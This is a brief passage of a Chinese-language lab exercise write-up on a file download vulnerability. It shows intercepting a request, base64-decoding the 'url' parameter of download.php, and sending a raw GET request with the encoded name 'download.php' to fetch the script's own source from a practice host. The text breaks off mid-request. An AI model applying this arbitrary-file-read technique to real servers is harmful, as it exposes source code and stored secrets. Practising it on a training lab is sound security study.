文件下載漏洞練習(一)

(1)打開網頁 (2)同樣的先抓下包 我們注意到: url=Y2hvdWJhZ3VhaS5tcDM 還有/download.php 先解碼看看是什麼 是個文件名 (3)我們試着將其替換成、download.php GET /download.php?url=ZG93bmxvYWQucGhw= HTTP/1.1 Host: e2ad76b4d4b6d6ed.yunyansec.com Upgrade
相關文章
相關標籤/搜索